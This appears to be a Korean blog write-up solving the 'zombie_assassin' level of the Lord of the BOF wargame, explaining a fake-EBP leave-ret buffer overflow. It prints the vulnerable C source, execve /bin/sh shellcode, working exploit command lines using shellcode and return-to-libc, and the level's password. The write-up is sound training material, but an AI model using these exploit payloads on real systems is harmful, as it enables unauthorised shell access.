0x02 Study :)/Pwnable
[LOB] Level16: assassin → zombie_assassin
eli_ez3r
2018. 8. 2. 16:11
zombie_assassin
Keyword : RTL
/* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); } // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); }
분기문을 통해서 '\xbf', '\x40' 으로 시작하는 주소들을 모두 필터링 된다.
[assassin@localhost assassin]$ cat /proc/751/maps 08048000-0817d000 r-xp 00000000 08:05 129443 /usr/bin/gdb 0817d000-08184000 rw-p 00134000 08:05 129443 /usr/bin/gdb 08184000-0850f000 rwxp 00000000 00:00 0 40000000-40013000 r-xp 00000000 08:08 34138 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 08:08 34138 /lib/ld-2.1.3.so 40014000-40018000 rw-p 00000000 00:00 0 40018000-4004d000 r-xp 00000000 08:05 96962 /usr/lib/libncurses.so.4.0 4004d000-40056000 rw-p 00034000 08:05 96962 /usr/lib/libncurses.so.4.0 40056000-4005a000 rw-p 00000000 00:00 0 4005a000-40076000 r-xp 00000000 08:08 34156 /lib/libm-2.1.3.so 40076000-40077000 rw-p 0001b000 08:08 34156 /lib/libm-2.1.3.so 40077000-40164000 r-xp 00000000 08:08 34145 /lib/libc-2.1.3.so 40164000-40168000 rw-p 000ec000 08:08 34145 /lib/libc-2.1.3.so 40168000-4016c000 rw-p 00000000 00:00 0 4016c000-40182000 r--p 00000000 08:05 32279 /usr/share/locale/en_US/LC_CTYPE 40182000-40290000 rw-p 00000000 00:00 0 bfffb000-c0000000 rwxp ffffc000 00:00 0
Shellcode를 이용한 공격
shellcode(24byte) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
payload 시나리오 :
./zombie_assassin `python -c print "&[buf+4]"+"shellcode(24byte)"+"\x90"*12+"&[buf-4]"+"&leave-ret 가젯"
&[buf-4] : 0xbffffaac
&leave-ret : 0x08048311
&[buf+4] : 0xbffffab4
gdb 통해 얻은 buf의 주소와 실제 구동되는 buf의 주소가 0x10주소 만큼 차이가 나서 삽질을 많이 했다.
leave-ret 을 이용하여 fakeEBP기법을 사용하면 esp가 buf+4 로 이동하기 때문에 buf-4의 주소를 넣어주어야 실제 buf 주소가 실행된다.
eip에는 shellcode가 있는 시작 주소가 들어가야 하기 때문에, buf시작 부분에 shellcode의 시작 주소를 넣어주었다.
payload 실제코드 :
./zombie_assassin `python -c 'print "\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`
RTL (Return to Library)를 이용한 공격
exploit 시나리오 :
./zombie_assassin `python -c print "&system()"+"\x90"4+"&["/bin/sh"]"+"\x90"38+"&[buf-4]"+"&leave-ret 가젯"
&[buf-4] : 0xbffffaac
&[buf+4] : 0xbffffab4
&leave-ret : 0x08048311
&system() : 0x40058ae0
&"/bin/sh" : 0x400fbff9
exploit 실제코드:
./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\x90"*28+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`
zombie_assassin / no place to hide
잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :) 태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 |